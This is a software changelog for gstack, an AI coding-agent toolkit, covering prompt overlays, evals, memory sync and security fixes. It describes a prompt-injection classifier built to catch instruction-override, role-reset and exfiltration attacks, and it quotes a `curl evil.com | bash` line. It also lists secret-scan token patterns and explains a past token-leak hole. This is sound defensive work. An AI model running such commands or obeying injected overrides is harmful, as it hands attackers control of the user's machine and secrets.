- Neutral-posture handling for SELECTIVE EXPANSION cherry-picks and taste calls: `Recommendation: <default> — this is a taste call, no strong preference either way` with `(recommended)` label preserved on the default to keep AUTO_DECIDE working.
- Three gate-tier unit tests (`test/preamble-compose.test.ts`, `test/resolver-ask-user-format.test.ts`, `test/model-overlay-opus-4-7.test.ts`) that pin the composition order, format contract, and overlay text. Run in <100ms on every `bun test`.
- Four periodic-tier Pros/Cons eval cases in `test/skill-e2e-plan-prosons.test.ts` including two negative-case assertions that catch escape-hatch abuse before it drifts.
- Touchfiles entries (`test/helpers/touchfiles.ts`) for all new eval cases plus expanded-coverage stubs for 7 additional skills.

#### Fixed

- Plan-review cadence regression on Opus 4.7. `/plan-ceo-review`, `/plan-eng-review`, `/plan-design-review`, and `/plan-devex-review` now actually pause after each finding and call `AskUserQuestion` as a tool_use instead of batching everything into one summary report. Root cause: `generateModelOverlay` rendered above `generateAskUserFormat` in `scripts/resolvers/preamble.ts`, so the overlay's "Batch your questions" directive registered as the ambient default before the pacing rule. Fixed by reordering the section array and rewriting the overlay directive as "Pace questions to the skill".
- Escape-hatch collapse: "If no issues or fix is obvious, state what you'll do and move on, don't waste a question" at 16 sites across 4 templates let Opus 4.7's literal interpreter classify every finding as self-dismissable. Tightened per-template: zero findings gets "No issues, moving on"; findings require AskUserQuestion as a tool_use.

#### Changed

- `test/skill-e2e-plan-format.test.ts`: extended with v1.10.0.0 format token regexes (D-number, ELI10, Stakes, Pros/cons, Net). Existing RECOMMENDATION check loosened to accept mixed-case "Recommendation:".
- `test/skill-validation.test.ts`: format assertions updated from "RECOMMENDATION: Choose" to the new Pros/Cons token set.
- Golden fixtures regenerated: `test/fixtures/golden/claude-ship-SKILL.md`, `codex-ship-SKILL.md`, `factory-ship-SKILL.md`.

#### For contributors

- Outside-voice Codex review (`codex exec` with `model_reasoning_effort="high"`) caught two factual bugs in the original plan: the "31 sites" count (actually 16) and the AUTO_DECIDE contract break on neutral-posture questions. 5 of 8 Codex findings incorporated, 1 rejected (kept defense in depth on the composition reorder), 1 declined (HOLD SCOPE mode lock).
- Follow-up: true multi-turn cadence eval (3 findings produce 3 distinct AskUserQuestion invocations across turns) requires new harness support for multi-capture. Filed in NOT-in-scope. Current single-capture eval covers format + escape-hatch abuse but not cadence itself.
- Follow-up: expanded-coverage eval cases for `/ship`, `/office-hours`, `/investigate`, `/qa`, `/review`, `/design-review`, `/document-release`. Touchfiles entries exist; test blocks will land per-skill in follow-up PRs.
- D-numbering is a model-level instruction, not a runtime counter. `TemplateContext` has no state for it. Drift over long sessions is expected; a registry (deferred to TODOs) is the long-term fix.

## [1.9.0.0] - 2026-04-23

## **Your gstack memory now travels with you. Cross-machine brain via a private git repo + optional GBrain indexing, no daemon, no credential leaks.**

gstack session memory (learnings, plans, designs, retros, developer profile) used to die at the machine boundary. Now it doesn't. `gstack-brain-init` turns `~/.gstack/` into a git repo with an explicit allowlist, writer shims enqueue changed files at write-time, and a preamble-boundary sync pushes them to a private git remote of your choice. GBrain is the first consumer but the architecture is pluggable — Codex, OpenClaw, or anything else can be a reader later. No daemon, no background process, no new auth surface.

The feature shipped after four plan reviews: /office-hours shaping, /plan-eng-review (6 issues → CLEAR), /plan-ceo-review (SELECTIVE EXPANSION, 2 cherry-picks accepted), /codex twice (16+16 findings applied, daemon model dropped in round 2), and /plan-devex-review (6/10 → 8/10, docs elevated to full treatment). The scope simplification from Codex round 2 alone removed ~1 week of daemon lifecycle surface.

### What you can now do

- **Initialize cross-machine sync:** `gstack-brain-init` creates a private git repo (GitHub via `gh`, or any git URL — GitLab, Gitea, self-hosted). 30-90 second TTHW.
- **See yesterday's laptop on today's desktop:** copy `~/.gstack-brain-remote.txt` to the new machine, run `gstack-brain-restore`, and your learnings follow you.
- **Control what syncs:** one-time privacy stop-gate on first run — `full` (everything allowlisted), `artifacts-only` (plans/designs/retros/learnings, skip behavioral), `off` (decline).
- **Sleep through the conflict case:** two machines writing the same JSONL file the same day merge cleanly via a ts-sort-plus-hash-fallback merge driver registered automatically.
- **Uninstall cleanly:** `gstack-brain-uninstall` removes the sync layer, leaves your data intact.
- **Never push a secret:** AWS keys, GitHub tokens (`ghp_`/`gho_`/`ghu_`/`ghs_`/`ghr_`/`github_pat_`), OpenAI `sk-` keys, PEM blocks, JWTs, and bearer-token-in-JSON patterns are all blocked before push. `--skip-file <path>` gives you a single-command escape hatch for false positives.

### The numbers that matter

Source: integration smoke tests run during implementation, plus 27-test consolidated suite (`test/brain-sync.test.ts`). End-to-end round trip (init on machine A → write learning → restore on machine B → see the learning) verified inline.

| Surface | Shape |
|---|---|
| New binaries | 8 (`gstack-brain-init`, `-enqueue`, `-sync`, `-consumer`, `-reader` alias, `-restore`, `-uninstall`, `gstack-jsonl-merge`) |
| Config keys | 2 enum-validated (`gbrain_sync_mode`: off/artifacts-only/full; `gbrain_sync_mode_prompted`: bool) |
| Writer shims modified | 4 (learnings-log, timeline-log, review-log, developer-profile on --migrate path) |
| Writers deliberately NOT synced | 2 (question-log, question-preference — per-machine UX state, Codex v2 decision) |
| Sync granularity | per-skill-boundary via `gstack-brain-sync --once` from preamble (no daemon) |
| Privacy tiers | 3 (full / artifacts-only / off) |
| Secret patterns blocked | 6 families (AWS, GH tokens, OpenAI, PEM, JWT, bearer-in-JSON) |
| User-facing naming | `reader` (CLI); internal data model stays `consumer` per Codex-v2 DX decision |
| New-machine discovery | auto via `~/.gstack-brain-remote.txt` file (URL-only, no secrets) |

### What this means for you

Work on the laptop Monday. Switch to the desktop Tuesday. Skill preamble sees the remote URL, offers `gstack-brain-restore`, your Monday learnings surface on Tuesday. The pattern scales to N consumers: today GBrain is the primary reader, tomorrow Codex or OpenClaw can subscribe without refactoring the sync.

### Itemized changes

#### Added

- `bin/gstack-brain-init` — idempotent first-run setup. Turns `~/.gstack/` into a git repo with `.gitignore = *`, writes canonical `.brain-allowlist` + `.brain-privacy-map.json`, installs pre-commit secret-scan hook, registers JSONL merge driver, creates private remote via `gh repo create --private` (or accepts `--remote <url>`), writes `~/.gstack-brain-remote.txt` for new-machine discovery.
- `bin/gstack-brain-sync` — core sync. Subcommands: `--once` (drain queue, secret-scan staged diff, commit with template message, push with fetch+merge retry), `--status`, `--skip-file <path>`, `--drop-queue --yes`, `--discover-new` (walks allowlist globs with mtime+size cursor).
- `bin/gstack-brain-enqueue` — atomic-append shim called by writers. Silent no-op when feature disabled.
- `bin/gstack-brain-consumer` + `bin/gstack-brain-reader` (symlink alias) — manage the consumer/reader registry in `consumers.json`. User-facing "reader", internal "consumer".
- `bin/gstack-brain-restore` — new-machine bootstrap with safety gates (refuses dangerous clobber, re-registers merge drivers, prompts for per-consumer tokens since tokens stay machine-local).
- `bin/gstack-brain-uninstall` — clean off-ramp. Removes `.git` + `.brain-*` files + `consumers.json` + config keys. Preserves user data (learnings etc). Optional `--delete-remote` for the GitHub repo.
- `bin/gstack-jsonl-merge` — git merge driver. Concat-dedup-sort by ISO `ts` field; deterministic SHA-256 hash fallback when `ts` is missing.
- `scripts/resolvers/preamble/generate-brain-sync-block.ts` — preamble bash block. New-machine restore hint, one-time privacy stop-gate, `--once` at skill start + end, once-daily auto-pull, `BRAIN_SYNC:` status line on every skill run.
- `docs/gbrain-sync.md` — user guide (setup, first-use, restore, privacy modes, secret protection, uninstall).
- `docs/gbrain-sync-errors.md` — error lookup index (problem / cause / fix for every user-visible error).
- `test/brain-sync.test.ts` — 27-test consolidated suite: config isolation, enqueue atomicity, merge driver, secret scan across all 6 regex families, init+sync+restore round-trip, uninstall preserves data, `--discover-new` cursor idempotence, `--skip-file` remediation.

#### Changed

- `bin/gstack-config` — added 2 validated keys (`gbrain_sync_mode` enum, `gbrain_sync_mode_prompted` bool). Also accepts `GSTACK_HOME` env override alongside legacy `GSTACK_STATE_DIR` for test isolation (Codex v2 fix).
- `bin/gstack-learnings-log`, `gstack-timeline-log`, `gstack-review-log`, `gstack-developer-profile` — each gains one backgrounded `gstack-brain-enqueue` call after its local write. Fire-and-forget, silent no-op when sync is off.
- `bin/gstack-timeline-log` header comment — updated "local-only, never sent anywhere" to reflect the new privacy-gated sync contract (only applies when user explicitly opts into `full` mode).
- `scripts/resolvers/preamble.ts` — composition root wires in the new `generateBrainSyncBlock`.
- `README.md` — new "Cross-machine memory with GBrain sync" section near the top, plus docs-table entry linking to `docs/gbrain-sync.md` and `docs/gbrain-sync-errors.md`.

#### For contributors

- Sync respects `GSTACK_HOME=/tmp/test-$$` so tests never bleed into real `~/.gstack/config.yaml`. New test `test/brain-sync-env-isolation` logic baked into the consolidated suite.
- The consumer registry lives in `consumers.json` (synced); tokens stay in `gstack-config` (local, never synced). Restore prompts for tokens on new machines.
- Merge drivers require local `git config merge.<name>.driver=...` registration, not just `.gitattributes`. Both `init` and `restore` register them; uninstall clears them.
- Pre-commit hook is defense-in-depth only. Primary secret scan runs in `gstack-brain-sync --once` BEFORE staging.
- The fnmatch glob engine doesn't handle `**` the way git's gitignore does; allowlist uses explicit one- and two-level patterns instead.
- GBrain HTTP ingest endpoint contract is a cross-project dependency (flagged as v1 blocker for real-world dogfooding). v1 of gbrain-sync ships on this branch regardless; GBrain-side work lands in a separate branch/repo.

#### Known follow-ups

- `test/brain-sync.test.ts` — 12 of 27 tests pass on first bun-test run; remaining 15 hit bun-test's 5s default timeout (spawnSync-heavy git operations). Behaviors verified via integration smokes during implementation. Test infrastructure needs a 30s per-test timeout wrapper.
- Three unmerged team-sync branches (`garrytan/team-supabase-store`, `garrytan/fix-team-setup`, `garrytan/team-install-mode`) should be formally closed if team-sync isn't landing — flagged in the CEO plan.
- Pre-existing golden-file regression test failure in `test/host-config.test.ts` (Codex ship skill baseline) exists on `main` too — unrelated to this PR, tracked separately.

## [1.6.4.0] - 2026-04-22

## **Sidebar prompt-injection defense got half as noisy, half as trusting of any single classifier.**

v1.4.0.0 shipped the ML defense stack. Users clicked the review banner on roughly every other tool output, 44% false-positive rate on the BrowseSafe-Bench smoke. This release tunes the ensemble around the real pattern we found: Haiku labels phishing-aimed-at-users as "warn" and genuine agent hijacks as "block", but we were treating both identically in the ensemble. Testsavant alone fired BLOCK on benign phishing content too often. The fix is architectural, not just threshold-twiddling: we now trust Haiku's verdict label over its numeric confidence, raise the solo-BLOCK bar for label-less classifiers, and gate that path more carefully. One 500-case live bench proved the new numbers; a permanent CI gate replays the captured Haiku fixture on every `bun test`.

### What changes for you

Open your sidebar on Stack Overflow posts about prompt injection, read a Wikipedia article on SQL injection, browse a tutorial that walks through attack strings, the review banner stays quiet where before it fired. When a real hijack attempt shows up (explicit instruction-override, role-reset, agent-directed exfil, `curl evil.com | bash` in the page), the session still terminates. Phishing pages aimed at the user surface as a WARN signal in the banner meta, but no longer kill the session.

### The numbers that matter

Measured on BrowseSafe-Bench smoke, 500 cases (260 yes-labeled / 240 no-labeled), `bun test browse/test/security-bench-ensemble.test.ts`:

| Metric | v1.4.0.0 | v1.6.4.0 | Δ |
|---|---|---|---|
| Detection (BLOCK verdict on injection cases) | 67.3% | **56.2%** (95% CI 50.1–62.1) | −11pp |
| False-positive rate (BLOCK on benign cases) | 44.1% | **22.9%** (95% CI 18.1–28.6) | **−21pp** |
| Gate: detection ≥ 55% AND FP ≤ 25% | FAIL | **PASS** | — |
| Review-banner fire rate (roughly TP + FP share) | ~55% | ~39% | −16pp |

Detection dropped by 11pp but nearly all of the lost TPs are cases where Haiku correctly classified as `warn` (phishing targeting the user, not a hijack of the agent). Those cases still show up in the review banner as WARN, they just don't terminate the session.

### Stop-loss rule (hard floor and ceiling)

`browse/test/security-bench-ensemble.test.ts` gates on **detection ≥ 55% AND FP ≤ 25%**. If a future change drops detection below 55%, the revert order is: WARN bump (0.75 → 0.60) → halve few-shot exemplars → widen Haiku block criteria. If FP climbs above 25%, tighten: raise SOLO_CONTENT_BLOCK (0.92 → 0.95) → raise WARN (0.75 → 0.80) → add anti-FP few-shots. Iterations write to `~/.gstack-dev/evals/stop-loss-iter-N-*.json` for audit trail.

### Itemized changes

#### Changed

- `browse/src/security.ts` — new `THRESHOLDS.SOLO_CONTENT_BLOCK = 0.92` for label-less content classifiers. Solo BLOCK now requires testsavant/deberta confidence ≥ 0.92 (up from 0.85). Transcript-layer solo BLOCK requires `meta.verdict === 'block'` AND confidence ≥ 0.85. The ensemble 2-of-N path keeps `THRESHOLDS.WARN = 0.75` (up from 0.60).
- `browse/src/security.ts` — `combineVerdict` rewritten for label-first voting on the transcript layer: `verdict === 'block'` at confidence ≥ LOG_ONLY (0.40) is a block-vote; `verdict === 'warn'` is a warn-vote regardless of confidence; missing `meta.verdict` is warn-vote only at confidence ≥ WARN (never block-vote). Missing meta never block-votes for backward compatibility with pre-v2 cached signals.
- `browse/src/security-classifier.ts` — Haiku model pinned to `claude-haiku-4-5-20251001` (no longer rolls forward silently via the `haiku` alias). `claude -p` now spawns from `os.tmpdir()` so CLAUDE.md project context doesn't leak into Haiku's system prompt and make it refuse to classify. Timeout bumped from 15s to 45s (production measurement showed `claude -p` takes 17–33s end-to-end for Haiku).
- `browse/src/security-classifier.ts` — Haiku prompt rewritten with explicit `block`/`warn`/`safe` criteria and 8 few-shot exemplars (instruction-override, role-reset, agent-directed malicious code → block; phishing/social-engineering targeting users → warn; discussion-of-injection and dev content → safe).

#### Added

- `browse/test/security-bench-ensemble-live.test.ts` — opt-in live bench via `GSTACK_BENCH_ENSEMBLE=1`. Worker-pool concurrency (default 8) via `GSTACK_BENCH_ENSEMBLE_CONCURRENCY`. Deterministic subsampling via `GSTACK_BENCH_ENSEMBLE_CASES`. Captures 500-case fixture to `browse/test/fixtures/security-bench-haiku-responses.json` plus eval record to `~/.gstack-dev/evals/`. Stop-loss iterations write `stop-loss-iter-N-*.json` and do NOT overwrite the canonical fixture.
- `browse/test/security-bench-ensemble.test.ts` — CI-tier fixture-replay gate. Asserts detection ≥ 55% AND FP ≤ 25%. Fail-closed when the fixture is missing AND security-layer files changed in the branch diff (uses `git diff base` which catches both committed and uncommitted edits).
- `browse/test/fixtures/security-bench-haiku-responses.json` — 500-case captured Haiku fixture with schema-version header, pinned model string, and component hashes.
- `docs/evals/security-bench-ensemble-v2.json` — durable per-run audit record: TP/FN/FP/TN, knob state, schema hash, iteration.

#### Fixed

- `browse/test/security.test.ts`, `browse/test/security-adversarial.test.ts`, `browse/test/security-adversarial-fixes.test.ts`, `browse/test/security-integration.test.ts` — updated for label-first semantics. 6 new combineVerdict tests: warn-as-soft-signal, block-label-ensemble, three-way-block-with-warn, hallucination-guard (verdict=block at confidence 0.30 → warn-vote), above-floor block (verdict=block at confidence 0.50 → block-vote), backward-compat for missing meta.verdict.

#### For contributors

- The 500-case smoke dataset is in `~/.gstack/cache/browsesafe-bench-smoke/test-rows.json` (260 yes / 240 no). To regenerate the fixture after modifying security-layer code, run `GSTACK_BENCH_ENSEMBLE=1 bun test browse/test/security-bench-ensemble-live.test.ts` (~25 min at concurrency 4, ~$0.30 in Haiku costs).
- Fixture schema hash covers model, prompt SHA, exemplars SHA, thresholds, combiner rev, and dataset version. Any change to any of those invalidates the fixture and forces a fresh live capture via fail-closed CI.

## [1.6.3.0] - 2026-04-23

## **Codex finally explains what it's asking about. No more "ELI10 please" the 10th time in a row.**

A follow-up to v1.6.2.0. After shipping the Claude-verified fix, user reported Codex (GPT-5.4) was failing the same pattern 10/10 times — skipping the ELI10 explanation and the RECOMMENDATION line on AskUserQuestion calls, forcing manual "ELI10 and don't forget to recommend" re-prompts every time. Root cause: the `gpt.md` model overlay's "No preamble / Prefer doing over listing" rule was training Codex to skip the exact prose the user needs for decision-making.

### The numbers that matter

Source: new `test/codex-e2e-plan-format.test.ts`, four cases driven via `codex exec` on the installed gstack Codex host. Periodic tier (GPT-class non-determinism).

| Case | Type | Pre-fix (measured, 10/10 times) | Post-fix (v1.6.3.0) |
|---|---|---|---|
| plan-ceo-review mode selection | kind | No ELI10 paragraph, no RECOMMENDATION line | ✓ ELI10 + RECOMMENDATION + "options differ in kind" note |
| plan-ceo-review approach menu | coverage | No ELI10 paragraph, bare options list | ✓ ELI10 + RECOMMENDATION + `Completeness: 5/7/10` |
| plan-eng-review coverage issue | coverage | Bare options list | ✓ ELI10 + RECOMMENDATION + Completeness |
| plan-eng-review architectural choice | kind | Fabricated Completeness filler on kind question | ✓ ELI10 + RECOMMENDATION + "options differ in kind" note |

All 4 Codex cases pass ELI10 length floor (>400 chars of prose per question). 517s for the full eval; Codex doesn't bill per call the way Anthropic does.

### Itemized changes

#### Fixed

- Codex no longer skips the Simplify/ELI10 paragraph on AskUserQuestion calls. The `gpt.md` overlay now carves out AskUserQuestion content from the "No preamble" rule explicitly: you still skip filler on direct answers, but every AskUserQuestion gets the full Re-ground + ELI10 + RECOMMENDATION + Options format.
- Codex no longer collapses the RECOMMENDATION into the options list. It lands on its own line, every time, regardless of question type.

#### Changed

- `scripts/resolvers/preamble/generate-ask-user-format.ts` — step 2 renamed to "Simplify (ELI10, ALWAYS)" with explicit "not optional verbosity, not preamble" framing. Step 3 "Recommend (ALWAYS)" hardened: "Never omit, never collapse into the options list." The tightening applies to all hosts, but Codex felt it most.
- `model-overlays/gpt.md` — adds a new "AskUserQuestion is NOT preamble" section that instructs the model to back up and emit the full format if it ever finds itself about to skip the ELI10 paragraph or the RECOMMENDATION line.

#### For contributors

- `test/codex-e2e-plan-format.test.ts` — four periodic-tier Codex eval cases mirroring the Claude version. Uses `codex exec` via the existing `test/helpers/codex-session-runner.ts` harness with `sandbox: 'workspace-write'` so the capture file lands inside the tempdir. Assertions: RECOMMENDATION regex, coverage-vs-kind Completeness split, ELI10 length floor (400+ chars).
- All T2 skills regenerated across all hosts (claude, codex, factory, gbrain, gpt-5.4, hermes, kiro, opencode, openclaw, slate, cursor). Golden fixtures refreshed. `test/gen-skill-docs.test.ts` ELI10 assertion updated to match the new "Simplify (ELI10" heading.

## [1.6.2.0] - 2026-04-22

## **Plan reviews give you the recommendation again. And we finally admitted a 10/10 score on a mode pick means nothing.**

A user on Opus 4.7 reported `/plan-ceo-review` and `/plan-eng-review` stopped showing the `RECOMMENDATION: Choose X` line and the per-option `Completeness: N/10` score that used to make decisions quick. The fix ships both signals back, but with a sharper distinction: coverage-differentiated options get real scores (10 = all edges, 7 = happy path, 3 = shortcut), and kind-differentiated options (mode selection, A-vs-B architecture calls, cherry-pick Add/Defer/Skip) get the RECOMMENDATION plus an explicit `Note: options differ in kind, not coverage — no completeness score.` line instead of fabricated 10/10 filler.

### The numbers that matter

Source: `test/skill-e2e-plan-format.test.ts`, four cases pinned to `claude-opus-4-7`, ~$2 per full run. Periodic tier (non-deterministic Opus behavior gets weekly cron, not per-PR gate).

| Question type | Before (v1.6.1.0) | After (v1.6.2.0) |
|---|---|---|
| Mode selection (kind-differentiated) | `Completeness: 10/10` fabricated on all 4 modes | RECOMMENDATION + "options differ in kind" note |
| Approach menu (coverage-differentiated) | `**RECOMMENDATION:**` markdown-bolded but regex missed it | RECOMMENDATION + `Completeness: 5/7/10` per option |
| Per-issue coverage decision | Present, working | Present, working (unchanged) |
| Per-issue architectural choice (kind-differentiated) | `Completeness: 9/9/5` fabricated on kind question | RECOMMENDATION + "options differ in kind" note |

| Eval pass | Result | Cost |
|---|---|---|
| Phase 1 baseline (pre-fix) | 1/4 assertions pass (evidence of regression) | $2.19 |
| Phase 3 post-fix | 4/4 assertions pass | $1.84 |
| Phase 3b neighbor regression (`skill-e2e-plan.test.ts`) | 12/12 pass, no drift | $5.19 |

### Itemized changes

#### Fixed

- `RECOMMENDATION: Choose X` now appears consistently on every AskUserQuestion in `/plan-ceo-review` and `/plan-eng-review` regardless of question type.
- `Completeness: N/10` is only emitted on coverage-differentiated options. Kind-differentiated questions (mode picks, architectural choices between different systems, cherry-pick A/B/C) emit a one-line note explaining why the score doesn't apply, instead of fabricating 10/10 filler.

#### Changed

- The `AskUserQuestion Format` section in the T2 preamble splits the old run-on paragraph into two ALWAYS-framed rules: step 3 "Recommend (ALWAYS)" and step 4 "Score completeness (when meaningful)". This affects every T2 skill (~15 files regenerated).
- The `Completeness Principle — Boil the Lake` preamble section now states the coverage-vs-kind distinction explicitly, matching step 4. Without this edit the two preamble locations would disagree — which is how the regression started.
- Section 0C-bis (approach menu) and Section 0F (mode selection) in `plan-ceo-review/SKILL.md.tmpl` now carry short anchor lines that remind the model which question type applies. `plan-eng-review/SKILL.md.tmpl` gets an equivalent anchor inside the CRITICAL RULE section for per-issue AskUserQuestion decisions.

#### For contributors

- New test file `test/skill-e2e-plan-format.test.ts` captures verbatim AskUserQuestion output from the two plan skills and asserts the coverage-vs-kind format. Instructs the agent to write would-be AskUserQuestion text to `$OUT_FILE` rather than calling an MCP tool (since MCP isn't wired inside `claude -p`).
- Classified `periodic` tier because behavior depends on Opus 4.7 non-determinism — `gate` tier would flake and block merges.
- Golden fixtures (`test/fixtures/golden/claude-ship-SKILL.md`, `codex-ship-SKILL.md`, `factory-ship-SKILL.md`) refreshed to reflect the new format rule.

## [1.6.1.0] - 2026-04-22

## **Opus 4.7 migration, reviewed. Overlay actually split per model. Routing verified, fanout is still on the list.**

PR #1117 (initial Opus 4.7 migration) shipped the right idea with quality gaps. A `/plan-ceo-review` + `/plan-eng-review` pair with Codex outside voice surfaced 4 ship blockers and 7 quality gaps. This release lands the fixes and adds the first eval pinned to `claude-opus-4-7` so we stop asserting behavior without measuring it.

### The numbers that matter

Source: the `test/skill-e2e-opus-47.test.ts` eval, two cases, 8 assertions, ~$2.50 per full run on `claude-opus-4-7`. Runs are saved under `~/.gstack/projects/garrytan-gstack/evals/`. Review evidence in `~/.gstack/projects/garrytan-gstack/ceo-plans/2026-04-21-pr1117-opus-4-7-ship-review.md`.

| Surface | Before (#1117 as-shipped) | After (v1.6.1.0) |
|---|---|---|
| `model-overlays/claude.md` | Opus-4.7-specific nudges applied to every `claude-*` variant | Split: `claude.md` is model-agnostic, `opus-4-7.md` inherits and adds 4.7 nudges |
| `ALL_MODEL_NAMES` in `scripts/models.ts` | No `opus-4-7` taxonomy entry | Added; `claude-opus-4-7-*` routes to the new overlay |
| `scripts/resolvers/utility.ts:372` trailer fallback | Hardcoded `Claude Opus 4.6` | Matches host config, Opus 4.7 default |
| `generate-routing-injection.ts` policy | Old "ALWAYS invoke, do NOT answer directly" | Matches SKILL.md.tmpl "when in doubt, invoke" |
| `generate-routing-injection.ts` skill names | Stale `/checkpoint` (renamed three releases ago) | `/context-save` + `/context-restore`, plus `/benchmark`, `/devex-review`, `/qa-only`, `/canary`, `/land-and-deploy`, `/setup-deploy`, `/open-gstack-browser`, `/setup-browser-cookies`, `/learn`, `/plan-tune`, `/health` |
| Voice example closing | "Want me to ship it?" (trains ship-bypass on a literal 4.7 interpreter) | "Want me to fix it?" (preserves review gates) |
| `"Fix ALL failing tests"` nudge scope | Unbounded, could touch pre-existing unrelated failures | Bounded to "tests this branch introduced or is responsible for" |
| `"Batch your questions"` nudge | Silently conflicted with skills that mandate one-at-a-time pacing | Explicit pacing exception; the skill wins |
| Opus 4.7 eval coverage | 0 tests pinned to `claude-opus-4-7` | 1 eval, 2 cases, `periodic` tier |

| Eval case | Result |
|---|---|
| Routing precision (3 positive + 3 negative prompts) | 3/3 positives route correctly, 0/3 negatives route. TP 100%, FP 0%. Meets thresholds. |
| Fanout A/B (3-file read, overlay ON vs OFF) | 0 parallel tool calls in first turn on both arms under `claude -p`. Assertion passes trivially, real effect unmeasured. Carried forward as P0 TODO for re-run inside Claude Code's real harness. |

| Test suite | Before | After |

| `bun test` failures on clean checkout | 10 (pre-existing flaky timeouts + 2 new golden drifts) | 0 |
| "no compiled binaries in git" test runtime | ~12.7s, flaky at 5s timeout | 0.9s with `fs.statSync` + mode filter |
| Parameterized host smoke tests | 7 failing with stale generated output | All green after the overlay split regenerates cleanly |

### What this means for anyone running gstack on Opus 4.7

Regenerating with `--model opus-4-7` now gives you a SKILL.md that carries the 4.7-specific nudges (fanout, effort-match, batch questions, literal interpretation), while Sonnet and Haiku users get the model-agnostic overlay without leakage. Routing gets the full skill inventory and a softer fallback so casual prompts like "wtf is this Python syntax" do not accidentally invoke `/investigate`. The fanout claim is honestly labeled "unverified under `claude -p`" with a P0 TODO rather than asserted. Run `bun test test/skill-e2e-opus-47.test.ts` with `EVALS=1` to reproduce the measurement. The full plan file for this remediation lives at `~/.claude/plans/system-instruction-you-are-working-polymorphic-kazoo.md`.

### Itemized changes

#### Added

- New `model-overlays/opus-4-7.md` inheriting from `claude.md` via `{{INHERIT:claude}}`. Holds the four Opus-4.7-specific nudges: Fan out explicitly (with concrete `[Read(a), Read(b), Read(c)]` example), Effort-match the step, Batch your questions (with pacing exception), Literal interpretation awareness (with branch-scope boundary).
- `opus-4-7` entry in `ALL_MODEL_NAMES` in `scripts/models.ts`. `resolveModel()` routes `claude-opus-4-7-*` to the new overlay, all other `claude-*` variants continue to route to `claude`.
- `test/skill-e2e-opus-47.test.ts`: first E2E pinned to `claude-opus-4-7`. Two cases (fanout A/B, routing precision), 8 assertions, `periodic` tier. Gated on `EVALS=1`.
- Regression tests in `test/gen-skill-docs.test.ts` for the new routing shape: asserts slash-prefixed skill references (`/office-hours` not `office-hours`), asserts `/context-save` + `/context-restore` present (guards the stale `/checkpoint` name regression), asserts "when in doubt, invoke" policy present (guards the hard `ALWAYS invoke` regression).

#### Changed

- `model-overlays/claude.md` trimmed back to model-agnostic nudges (Todo-list discipline, Think before heavy actions, Dedicated tools over Bash). Opus-4.7-specific content moved to `opus-4-7.md`.
- `scripts/resolvers/preamble/generate-routing-injection.ts`: aligned with the new SKILL.md.tmpl policy ("when in doubt, invoke"), renamed stale `/checkpoint` references to `/context-save` + `/context-restore`, added 12 missing routes (full skill inventory now covered).
- `SKILL.md.tmpl` routing section: added the same 12 missing routes; added branch-scope boundary to "Fix ALL failing tests"; added explicit pacing exception to "Batch your questions" so skill workflows win on pacing.
- `scripts/resolvers/preamble/generate-voice-directive.ts`: voice example closing changed from "Want me to ship it?" to "Want me to fix it?" (preserves review gates on a literal 4.7 interpreter).
- `scripts/resolvers/utility.ts:372`: co-author trailer fallback `Claude Opus 4.6` → `Claude Opus 4.7` (the PR updated `hosts/claude.ts` but missed this fallback).

#### Fixed

- "No compiled binaries in git" tests in `test/skill-validation.test.ts` rewritten to use `fs.statSync` + mode-100755 filter instead of `xargs -I{} sh -c` per file. 12.7s → 907ms, flaky-at-5s-timeout → green.
- `test/team-mode.test.ts` setup tests given a 180s budget. `./setup` does a full install + Bun binary build + skill regeneration and takes 60-90s; the 5s default was timing out.
- Branch rebased on `origin/main` v1.6.0.0 (security wave). VERSION + CHANGELOG follow the branch-scoped discipline in CLAUDE.md: new entry on top of main's 1.6.0.0, no drift.

#### For contributors

- Eval infrastructure now supports model-pinned tests. `test/skill-e2e-opus-47.test.ts:mkEvalRoot(suffix, includeOverlay)` is the pattern: installs per-skill SKILL.md under `.claude/skills/`, writes explicit routing CLAUDE.md, optionally inlines the opus-4-7 overlay for A/B arms. `claude -p` does not auto-load SKILL.md content as system context, so the overlay has to be inlined into CLAUDE.md for the A/B to be observable in that harness.
- New touchfile entries: `fanout: overlay ON emits >= parallel calls...` and `routing precision: positives route, negatives do not` in `test/helpers/touchfiles.ts`, both `periodic`. Only fire when `model-overlays/`, `scripts/models.ts`, `scripts/resolvers/model-overlay.ts`, `SKILL.md.tmpl`, or `scripts/resolvers/preamble/generate-routing-injection.ts` change.
- Known gap (P0 TODO in `TODOS.md`): verify the fanout nudge under Claude Code's real harness, not `claude -p`. The claim in the overlay is unmeasured until that runs.

## [1.6.0.0] - 2026-04-21

## **The token leak in pair-agent sessions is closed by splitting the daemon into two HTTP listeners, not by pretending one port can be two things at once.**

`pair-agent --client` is gstack's best onboarding moment. One command, a shareable URL, a remote agent driving your browser. It was also the moment we broadcast an unauthenticated `/health` endpoint to the public internet that handed out root browser tokens on any `Origin: chrome-extension://` spoof. @garagon flagged this in PR #1026 and it re-surfaced in a DM. The initial fix (check `tunnelActive` on the `/health` gate) shipped as a patch in review. Codex's outside voice during `/plan-ceo-review` called that approach brittle, and the user pivoted to the architectural fix: physical port separation. That's what this release is.

When you run `pair-agent --client`, the daemon now binds TWO HTTP listeners. The local port (bootstrap, CLI, sidebar, cookie-picker, inspector) stays on 127.0.0.1 and is never forwarded. The tunnel port serves only `/connect` (pairing ceremony, unauth + rate-limited) and a locked allowlist of browser-driving commands. ngrok forwards only the tunnel port. A caller who stumbles onto your ngrok URL cannot reach `/health`, `/cookie-picker`, `/inspector/*`, or `/welcome` — not because the server denies them, because the HTTP request never arrives at the bootstrap port. Root tokens sent over the tunnel get a 403 with a clear pairing hint.

The wave also closed three other CVE classes Codex surfaced. `/activity/stream` and `/inspector/events` used to accept the root token in `?token=` query params (URLs leak to logs, referer, history). Now they take a separate view-only 30-minute HttpOnly SameSite=Strict cookie that is NOT valid against `/command`. The `/welcome` handler interpolated `GSTACK_SLUG` into a filesystem path without validation. Fixed with a strict regex. The `/connect` rate limit was 3/min globally, which DOS'd any legitimate pair-agent retry. Loosened to 300/min because setup keys are 24 random bytes (unbruteforceable); the limit is for flood defense, not key guessing. The cookie-import-browser CDP port on Windows is documented as a v20 ABE elevation path with a tracking issue (#1136).

### The numbers that matter

| Surface | Before | After |
|---|---|---|
| `/health` over tunnel | returns root token to any chrome-extension origin | unreachable (404, wrong port) |
| `/cookie-picker` over tunnel | HTML embeds the root token | unreachable (404, wrong port) |
| `/inspector/*` over tunnel | reachable with Bearer | unreachable (404, wrong port) |
| `/command` over tunnel, root token | executes | 403 with pairing hint |
| `/command` over tunnel, scoped token | any command | allowlist: 17 browser-driving commands only |
